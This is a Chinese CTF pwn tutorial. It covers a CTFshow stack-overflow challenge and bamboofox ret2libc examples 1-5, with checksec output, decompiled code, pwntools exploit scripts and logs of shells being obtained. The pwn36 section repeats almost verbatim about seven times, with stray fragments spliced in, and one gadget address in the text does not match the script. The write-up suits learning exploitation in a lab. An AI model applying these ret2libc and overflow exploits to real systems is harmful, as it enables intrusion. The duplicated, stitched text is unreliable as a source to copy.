    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

3-ret2syscall

2025-07-10T09:00:00.000Z

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下，我们会选择执行 system(“/bin/sh”)，故而此时我们需要知道 system 函数的地址。

例1

这里我们以 bamboofox 中 ret2libc1 为例。

点击下载: ret2libc1

首先，我们检查一下程序的安全保护：

$ chmod +x ret2libc1
$ checksec ret2libc1
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

源程序为 32 位，开启了 NX 保护。下面对程序进行反编译以确定漏洞位置：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外，利用 ropgadget，我们可以查看是否有 /bin/sh 存在：

$ ROPgadget --binary ret2libc1  --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

确实存在，再次查找一下是否有 system 函数存在。经在 ida 中查找，确实也存在。

.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p
.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

那么，我们直接返回该处，即执行 system 函数。相应的 payload 如下：

from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

$ python3 exp.py
[+] Starting local process './ret2libc1': pid 406
[*] Switching to interactive mode
RET2LIBC >_<
$ ls
ctfshow_flag

这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，这里以 'bbbb' 作为虚假的地址，其后参数对应的参数内容。

这个例子相对来说简单，同时提供了 system 地址与 /bin/sh 的地址，但是大多数程序并不会有这么好的情况。

例 2

这里以 bamboofox 中的 ret2libc2 为例。

点击下载: ret2libc2

该题目与例 1 基本一致，只不过不再出现 /bin/sh 字符串，所以此次需要我们自己来读取字符串，所以我们需要两个 gadgets，第一个控制程序读取字符串，第二个控制程序执行 system(“/bin/sh”)。由于漏洞与上述一致，这里就不在多说，具体的 exp 如下：

$ chmod +x ret2libc2
$ checksec ret2libc2
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
$ ROPgadget --binary ret2libc2  --string '/bin/sh'
Strings information
============================================================

.plt:08048460 _gets           proc near               ; CODE XREF: main+72↓p
.plt:08048490 _system         proc near               ; CODE XREF: secure+44↓p
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)

$ ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

选择0x080481c9 : pop ebx ; ret

from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d #清理 Gadget
buf2 = 0x804a080
payload = flat(
    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
#payload=b'a'*112+p32(gets_plt)+p32(pop_ebx)+p32(buf2)+p32(system_plt)+p32(0)+p32(buf2)
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

需要注意的是，我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串，并将其地址作为 system 的参数传入。这样以便于可以获得 shell。

$ python3 exp.py
[+] Starting local process './ret2libc2': pid 431
[*] Switching to interactive mode
Something surprise here, but I don't think it will work.
What do you think ?$ ls
ctfshow_flag  exp.py  pwn  ret2libc1  ret2libc2  ret2libc3  ret2syscall

例 3

这里以 bamboofox 中的 ret2libc3 为例。

点击下载: ret2libc3

在例 2 的基础上，再次将 system 函数的地址去掉。此时，我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先，查看安全保护

$ chmod +x ret2libc3
$ checksec ret2libc3
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

可以看出，源程序仍旧开启了堆栈不可执行保护。进而查看源码，发现程序的 bug 仍然是栈溢出：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(s);
  return 0;
}
void secure()
{
  time_t seed; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  seed = time(0);
  srand(seed);
  secretcode = rand();
  __isoc99_scanf(&unk_8048730, &input);
  if ( input == secretcode )
    puts("no_shell_QQ");
}

那么我们如何得到 system 函数的地址呢？这里就主要利用了两个知识点：

system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集，如下
https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢？我们一般常用的方法是采用 got 表泄露，即输出某个函数对应的 got 表项的内容。当然，由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc，之后在程序中查询偏移，然后再次获取 system 地址，但这样手工操作次数太多，有点麻烦，这里给出一个 libc 的利用工具，具体细节请参考 readme：

https://github.com/lieanu/LibcSearcher

此外，在得到 libc 之后，其实 libc 中也是有 /bin/sh 字符串的，所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址，这是因为它是程序最初被执行的地方。基本利用思路如下

泄露 __libc_start_main 地址
获取 libc 版本
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)

exp 如下：

from pwn import *
#from LibcSearcher import LibcSearcher
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #打本地
sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_plt =elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libcbase=libc_start_main_addr-libc.sym['__libc_start_main']
system_addr = libcbase + libc.sym['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
#libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
#libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

python3 exp.py
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Starting local process './ret2libc3': pid 48
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes
leak libc_start_main_got addr and return to main again
get the related addr
get shell
[*] Switching to interactive mode
$ ls
ctfshow_flag

例 4

点击下载: ret2libc4
需要同时找到 system 函数地址与 /bin/sh 字符串的地址。
使用file和checksec命令查看二进制文件

$ checksec ret2libc4
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
$ file ret2libc4
ret2libc4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6b427b8927f95bdfc8e3a8ee0b5c4af3a7b6a2f6, not stripped
$ ldd ret2libc4
linux-gate.so.1 (0xeb9ed000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xeb7a0000)
/lib/ld-linux.so.2 (0xeb9ef000)

ida打开分析，在ret2libc函数发现栈溢出漏洞

ssize_t ret2libc()
{
  _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

  write(1, "Welcome to Ret2libc\n", 0x14u);
  return read(0, buf, 0x100u);
}

思路就是，通过程序默认的write函数地址，调用并输出write函数运行在内存中的真实地址，接着通过偏移分析该程序的libc版本，然后通过libc偏移找到system地址和/bin/sh地址，脚本如下：

#本地
from pwn import *
#context(log_level='debug')
io=process('./ret2libc4')
elf=ELF('./ret2libc4')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
io.recvuntil(b"Welcome to Ret2libc\n")

# 获取程序没有加载到内存 write 的地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main=elf.sym['main']  # main = 0x080484F4 
# 第一次栈溢出，获取write函数在内存中的真实地址
# 返回地址为 main，在执行完write函数再次运行main函数
# write(1,write_got,4)
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)

# 获取程序在内存中运行write函数的真实地址
write_addr = u32(io.recv(0x4))
print("write_addr is %#x" %write_addr)

# 如果题目给了libc
# libc基地址  = write_addr - libc中write_addr的偏移
libc_base = write_addr - libc.sym['write']
print("libc_base is %#x" %libc_base)
# 根据基地址获取 system 和 /bin/sh 的地址
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 再一次栈溢出，调用system函数执行/bin/sh
io.recvuntil(b"Welcome to Ret2libc\n")

payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
io.send(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './ret2libc4': pid 70
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
write_addr is 0xf627fb80
libc_base is 0xf6168000
[*] Switching to interactive mode
$ ls
ctfshow_flag

例 5

点击下载: x64_ret2plt
需要同时找到 system 函数地址与 /bin/sh 字符串的地址。
使用file和checksec命令查看二进制文件

$ checksec x64_ret2plt
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
$ file x64_ret2plt
x64_ret2plt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d20b3b3f61548631d45d5b04c7c5381a196e0631, not stripped

from pwn import *
#context(log_level='debug')
io=process('./x64_ret2plt')
